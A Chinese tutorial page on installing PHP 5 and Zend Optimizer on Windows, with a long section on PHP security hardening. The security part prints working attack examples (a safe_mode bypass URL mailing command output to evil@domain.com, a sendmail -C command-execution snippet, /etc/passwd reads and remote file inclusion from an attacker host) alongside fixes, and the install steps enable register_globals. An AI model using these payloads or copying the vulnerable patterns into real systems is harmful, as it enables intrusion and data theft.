html5中文学习网

您的位置: 首页 > 网络编程 > PHP编程 » 正文

PHP5安装配置和Zend Optimizer安装教程_PHP教程_编程技术

[ ] 已经帮助:人解决问题
xYJHTML5中文学习网 - HTML5先行者学习网

安装

1.首先下载PHP 5.2.5 (http://www.php.net/downloads.php) xYJHTML5中文学习网 - HTML5先行者学习网

本文PHP安装路径取为c:/php

2.下载后得到php-5.1.2-Win32.zip,直接全部接压至c:/php/目录即可得PHP文件存放目录c:/php; xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.1.1.jpg xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.1.2.jpg xYJHTML5中文学习网 - HTML5先行者学习网

3.再将c:/php/下的所有dll文件拷到c:/Windows/system32(win2000系统为 c:/winnt/system32/)下,覆盖已有的dll文件; xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.1.3.jpg xYJHTML5中文学习网 - HTML5先行者学习网

4.将php.ini-dist用记事本打开,利用记事本的查找功能搜索并修改: xYJHTML5中文学习网 - HTML5先行者学习网

搜索CODE:register_globals = Off

将 Off 改成 On ,即得到register_globals = On; xYJHTML5中文学习网 - HTML5先行者学习网

注:这个对应PHP的全局变量功能,考虑有很多PHP程序需要全局变量功能故打开,打开后请注意-PHP程序的严谨性,如果不需要推荐不修改保持默认Off状态 xYJHTML5中文学习网 - HTML5先行者学习网

再搜索CODE:extension_dir =

并将其路径指到你的 PHP 目录下的 ext 目录,修改为extension_dir = "c:/php/ext" xYJHTML5中文学习网 - HTML5先行者学习网

在c:/php下建立文件夹并命名为tmp xYJHTML5中文学习网 - HTML5先行者学习网

查找CODE:;upload_tmp_dir =

将;upload_tmp_dir该行的注释符,即前面的分号“;”去掉,使该行在php.ini文档中起作用。upload_tmp_dir是用来定义上传文件存放的临时路径,在这里你还可以修改并给其定义一个绝对路径,这里设置的目录必须有读写权限。 xYJHTML5中文学习网 - HTML5先行者学习网

这里我设置为upload_tmp_dir = c:/php/tmp (即前面建立的这个文件夹) xYJHTML5中文学习网 - HTML5先行者学习网

搜索找到CODE:;Windows Extensions

将下面一些常用的项前面的;去掉 xYJHTML5中文学习网 - HTML5先行者学习网

CODE:;extension=php_mbstring.dllCODE:;extension=php_curl.dllCODE:;extension=php_dbase.dllCODE:;extension=php_gd2.dll

这个是用来支持GD库的,一般需要,必选 xYJHTML5中文学习网 - HTML5先行者学习网

CODE:;extension=php_ldap.dllCODE:extension=php_zip.dllCODE:;extension=php_mysql.dll

去掉前面的";" xYJHTML5中文学习网 - HTML5先行者学习网

查找CODE:;session.save_path =

去掉前面;号,本文这里将其设置置为 xYJHTML5中文学习网 - HTML5先行者学习网

session.save_path = c:/php/tmp

其他的你可以选择需要的去掉前面的;然后将该文件另存为为php.ini到C:/Windows ( Windows 2000 下为 C:/WINNT)目录下,注意更改文件后缀名为ini,得到C:/Windows/php.ini ( Windows 2000 下为 C:/WINNT/php.ini) xYJHTML5中文学习网 - HTML5先行者学习网

常用安全设置

一、Web服务器安全 xYJHTML5中文学习网 - HTML5先行者学习网

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题 xYJHTML5中文学习网 - HTML5先行者学习网

因为php.ini里的: [mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from = me@localhost.com 

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。 xYJHTML5中文学习网 - HTML5先行者学习网

二、PHP本身问题 xYJHTML5中文学习网 - HTML5先行者学习网

1.远程溢出 xYJHTML5中文学习网 - HTML5先行者学习网

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高. xYJHTML5中文学习网 - HTML5先行者学习网

2.远程拒绝服务 xYJHTML5中文学习网 - HTML5先行者学习网

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也 能造成拒绝服务。 xYJHTML5中文学习网 - HTML5先行者学习网

3.safe_mode绕过漏洞 xYJHTML5中文学习网 - HTML5先行者学习网

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php: xYJHTML5中文学习网 - HTML5先行者学习网

执行如下的URL: http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com 

这将id执行的结果发送给evil@domain.com。 xYJHTML5中文学习网 - HTML5先行者学习网

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令: xYJHTML5中文学习网 - HTML5先行者学习网

注意,下面这两个必须是不存在的, 或者它们的属主和本脚本的属主是一样 $script="/tmp/script123"; $cf="/tmp/cf123"; $fd = fopen($cf, "w"); fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); fclose($fd); $fd = fopen($script, "w"); fwrite($fd, "rm -f $script $cf; "); fwrite($fd, $cmd); fclose($fd); mail("nobody", "", "", "", "-C$cf"); ?> 

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。 xYJHTML5中文学习网 - HTML5先行者学习网

三、PHP本身的安全配置 xYJHTML5中文学习网 - HTML5先行者学习网

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。 xYJHTML5中文学习网 - HTML5先行者学习网

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。 xYJHTML5中文学习网 - HTML5先行者学习网

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性: xYJHTML5中文学习网 - HTML5先行者学习网

grep PHP_INI_ /PHP_SRC/main/main.c 

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。 xYJHTML5中文学习网 - HTML5先行者学习网

1.safe_mode xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改 xYJHTML5中文学习网 - HTML5先行者学习网

php.ini: safe_mode = On 
或者修改httpd.conf,定义目录: Options FollowSymLinks php_admin_value safe_mode 1 

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。 xYJHTML5中文学习网 - HTML5先行者学习网

所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为: xYJHTML5中文学习网 - HTML5先行者学习网

几个文件的属性如下: ls -la total 13 drwxr-xr-x 2 root root 104 Jul 20 01:25 . drwxr-xr-x 16 root root 384 Jul 18 12:02 .. -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php 

在浏览器请求test.php会提示如下的错误信息: xYJHTML5中文学习网 - HTML5先行者学习网

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1 

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。 xYJHTML5中文学习网 - HTML5先行者学习网

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项: xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode_gid = On 

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置: xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode_exec_dir = /usr/local/php/exec 

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。 xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode_include_dir string 

当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。 xYJHTML5中文学习网 - HTML5先行者学习网

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。 指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线, xYJHTML5中文学习网 - HTML5先行者学习网

例如:“safe_mode_include_dir = /dir/incl/”。 xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode_allowed_env_vars string 

设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。 xYJHTML5中文学习网 - HTML5先行者学习网

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量! xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode_protected_env_vars string 

本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。 xYJHTML5中文学习网 - HTML5先行者学习网

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。 xYJHTML5中文学习网 - HTML5先行者学习网

2、变量滥用 xYJHTML5中文学习网 - HTML5先行者学习网

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击: xYJHTML5中文学习网 - HTML5先行者学习网

//test_1.php if ($pass == "hello") $auth = 1; if ($auth == 1) echo "some important information"; else echo "nothing"; ?> 

攻击者只需用如下的请求就能绕过检查: xYJHTML5中文学习网 - HTML5先行者学习网

http://victim/test_1.php?auth=1 

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361 xYJHTML5中文学习网 - HTML5先行者学习网

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。 xYJHTML5中文学习网 - HTML5先行者学习网

解决方法: 配置文件php.ini设置register_globals = Off。要求程序员对作为判断的变量在程序最开始初始化一个值。 

3、文件打开 xYJHTML5中文学习网 - HTML5先行者学习网

极易受攻击的代码片断: //test_2.php if (!($str = readfile("$filename"))) { echo("Could not open file: $filename/n"); exit; } else { echo $str; } ?> 

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd: xYJHTML5中文学习网 - HTML5先行者学习网

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身: xYJHTML5中文学习网 - HTML5先行者学习网

http://victim/test_2.php?filename=test_2.php 

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。 xYJHTML5中文学习网 - HTML5先行者学习网

解决方法: 如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子: php_admin_value open_basedir /usr/local/apache/htdocs 

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错: xYJHTML5中文学习网 - HTML5先行者学习网

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx. 

使用safe_mode模式也能避免这种问题,前面已经讨论过了。 xYJHTML5中文学习网 - HTML5先行者学习网

4、包含文件 
极易受攻击的代码片断: //test_3.php if(file_exists($filename)) include("$filename"); ?> 

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件: xYJHTML5中文学习网 - HTML5先行者学习网

http://victim/test_3.php?filename=/etc/passwd 

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt 的内容是,那么如下的请求就可以在目标主机执行命令ls /etc: xYJHTML5中文学习网 - HTML5先行者学习网

http://victim/test_3.php?filename=http://attack/attack.txt 

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。 xYJHTML5中文学习网 - HTML5先行者学习网

对于另外一种形式,如下代码片断: //test_4.php include("$lib/config.php"); ?> 

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令: xYJHTML5中文学习网 - HTML5先行者学习网

http://victim/test_4.php?lib=http://attack 

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。 xYJHTML5中文学习网 - HTML5先行者学习网

解决方法: 要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。 如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件: allow_url_fopen = Off 

重启apache。 xYJHTML5中文学习网 - HTML5先行者学习网

5、文件上传 xYJHTML5中文学习网 - HTML5先行者学习网

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开) xYJHTML5中文学习网 - HTML5先行者学习网

$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG ) $file_size #上传文件的大小 $file_name #上传文件的原始名称 $file_type #上传文件的类型 推荐使用: $HTTP_POST_FILES["file"]["tmp_name"] $HTTP_POST_FILES["file"]["size"] $HTTP_POST_FILES["file"]["name"] $HTTP_POST_FILES["file"]["type"] 

这是一个最简单的文件上传代码: xYJHTML5中文学习网 - HTML5先行者学习网

//test_5.php if(isset($upload) && $file != "none") { copy($file, "/usr/local/apache/htdocs/upload/".$file_name); echo "文件".$file_name."上传成功!点击继续上传";exit; } ?> content="text/html; charset=gb2312"> 

这样的上传代码存在读取任意文件和执行命令的重大问题。 xYJHTML5中文学习网 - HTML5先行者学习网


xYJHTML5中文学习网 - HTML5先行者学习网

常用性能设置

一、我们编辑/etc/php5/apache2/php.ini文件,先做一般配置,在改动之前,请先将该配置文件做个备份。以便在出错的时候可以恢复。 xYJHTML5中文学习网 - HTML5先行者学习网


xYJHTML5中文学习网 - HTML5先行者学习网

>memory_limit = 8M    =>修改成你所需的内存大小 >upload_max_filesize = 2M    =>修改文件最大上传尺寸 


xYJHTML5中文学习网 - HTML5先行者学习网

>extension=mysql.so    支持Mysql服务 >extension=gd.so    支持gd函数 


其实在Ubuntu下,如果你安装了php5-mysql和php5-gd之后,会自动修改以上二行的,我们做的只不过是确认一下它们前面的注释符是否去掉。 xYJHTML5中文学习网 - HTML5先行者学习网

补充: 1.目前大多数php的open source都是用php4写的,为了兼容以前的php版本,有时需要将register_long_arrays打开,否则$HTTP_GET_VARS和$HTTP_POST_VARS等变量将无法使用,会出现一些莫名其妙的问题。 xYJHTML5中文学习网 - HTML5先行者学习网

2.另外,在装完php5后最好确认一下/etc/apache2/mods-enabled/下是否有链接: php5.load -> /etc/apache2/mods-available/php5.load xYJHTML5中文学习网 - HTML5先行者学习网


二、加固PHP,以增强安全性。 xYJHTML5中文学习网 - HTML5先行者学习网

注意,下面的安全性要因情况而定,所以我已经把它们的功能写清楚了,如果有问题的话,看看是否由于下面哪种限制条件所造成,可相应将其注释掉。 xYJHTML5中文学习网 - HTML5先行者学习网

下面我们开始加固php,我们再次编辑/etc/php5/apache2/php.ini文件,之所以没有一次改完,主要是为了给大家一个清晰的思路。 xYJHTML5中文学习网 - HTML5先行者学习网

1.打开安全模式,打开他的好处就是PHP文件只能访问所有者和PHP文件所有着一样的文件,即使在chroot环境下也无法访问jail中属主不一样的文件,类似于php shell这样的后门就没用武之地了哦,phpshell是很流行的php后门,他可以执行系统命令,就象他的名字一样,和shell很接近。 xYJHTML5中文学习网 - HTML5先行者学习网

safe_mode = On 

2.下面的设置就限制了fopen(), file()等函数可以操作的目录范围,避免了入侵者非法读取文件,一定要在/var/www后面加"/",否则/var/wwww下的文件也能被访问 。该选项会禁止任何不在/var/www/目录下的PHP文件运行,包括任何以软链接方式链到/var/www/目录下的程序,如PhpMyAdmin包,就在该选项设定后无法正常运行。 xYJHTML5中文学习网 - HTML5先行者学习网

open_basedir = /var/www/ 

3.禁止使用phpinfo和get_cfg_var函数,这样可以避免泄露服务信息,一般在在确认PHP能正常工作之后再使之关闭 xYJHTML5中文学习网 - HTML5先行者学习网

disable_functions = phpinfo,get_cfg_var 

4.设置php程序错误日志 xYJHTML5中文学习网 - HTML5先行者学习网

error_reporting = E_ALL log_errors = On error_log = /var/log/php_err.log 

5.如果php程序没有指明需要register_globals的话,最好把register_globals设置为Off,这样可以避免很多安全问题的。注意,如果你的程序是需要register_globals的话,可千万别关。Ubuntu默认是关闭的。 xYJHTML5中文学习网 - HTML5先行者学习网

register_globals = Off 

6.禁止打开远程地址,记得最近出的php include的那个漏洞吗?就是在一个php程序中include了变量,那么入侵者就可以利用这个控制服务器在本地执行远程的一个php程序,例如phpshell,所以我们关闭这个。 xYJHTML5中文学习网 - HTML5先行者学习网

allow_url_fopen = Off

安装 Zend Optimizer

下载后得到 ZendOptimizer-3.3.0a-Windows-i386.exe,直接双击安装即可,安装过程要你选择 Web Server 时,选择 Apache 2.x ,然后提示你是否 Restart Web Server,选择是,完成安装之前提示是否备份 php.ini ,点确定后安装完成。我这里安装到c:/php5/Zend,如图4.1所示 xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.4.1.jpg xYJHTML5中文学习网 - HTML5先行者学习网

图 4.1 安装路径 xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.4.2.jpg xYJHTML5中文学习网 - HTML5先行者学习网

图 4.2 服务器类型 xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.4.3.jpg xYJHTML5中文学习网 - HTML5先行者学习网

图 4.3 php.ini所在目录 xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.4.4.jpg xYJHTML5中文学习网 - HTML5先行者学习网

图 4.4 Apache所在目录 xYJHTML5中文学习网 - HTML5先行者学习网

Image:wd3.4.4.5.jpg xYJHTML5中文学习网 - HTML5先行者学习网

图 4.5 完整安装信息 xYJHTML5中文学习网 - HTML5先行者学习网


Zend Optimizer 的安装向导会自动根据你的选择来修改 php.ini 帮助你启动这个引擎。下面简单介绍一下 Zend Optimizer 的配置选项。以下为本人安装完成后 php.ini 里的默认配置代码: xYJHTML5中文学习网 - HTML5先行者学习网

Zend Optimizer 模块在硬盘上的安装路径 xYJHTML5中文学习网 - HTML5先行者学习网

zend_extension_ts="C:/php5/Zend/lib/ZendExtensionManager.dll"

优化器所在目录,默认无须修改 xYJHTML5中文学习网 - HTML5先行者学习网

zend_extension_manager.optimizer_ts="C:/php5/Zend/lib/Optimizer-3.3.0a"

优化程度,这里定义启动多少个优化过程,默认值是 15 ,表示同时开启 10 个优化过程中的 1-4 ,我们可以将这个值改为 1023 ,表示开启全部10个优化过程。 xYJHTML5中文学习网 - HTML5先行者学习网

zend_optimizer.optimization_level=1023 xYJHTML5中文学习网 - HTML5先行者学习网


调用phpinfo()函数后显示: xYJHTML5中文学习网 - HTML5先行者学习网

Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies with Zend Extension Manager v1.0.9, Copyright (c) 2003-2006, by Zend Technologies with Zend Optimizer v3.3.0a, Copyright (c) 1998-2006, by Zend Technologies xYJHTML5中文学习网 - HTML5先行者学习网

表示安装成功xYJHTML5中文学习网 - HTML5先行者学习网

取自"http://wiki.lupaworld.com/index.php/PHP_5.x"
xYJHTML5中文学习网 - HTML5先行者学习网
xYJHTML5中文学习网 - HTML5先行者学习网
(责任编辑:)
推荐书籍
推荐资讯
关于HTML5先行者 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 人才招聘 - 帮助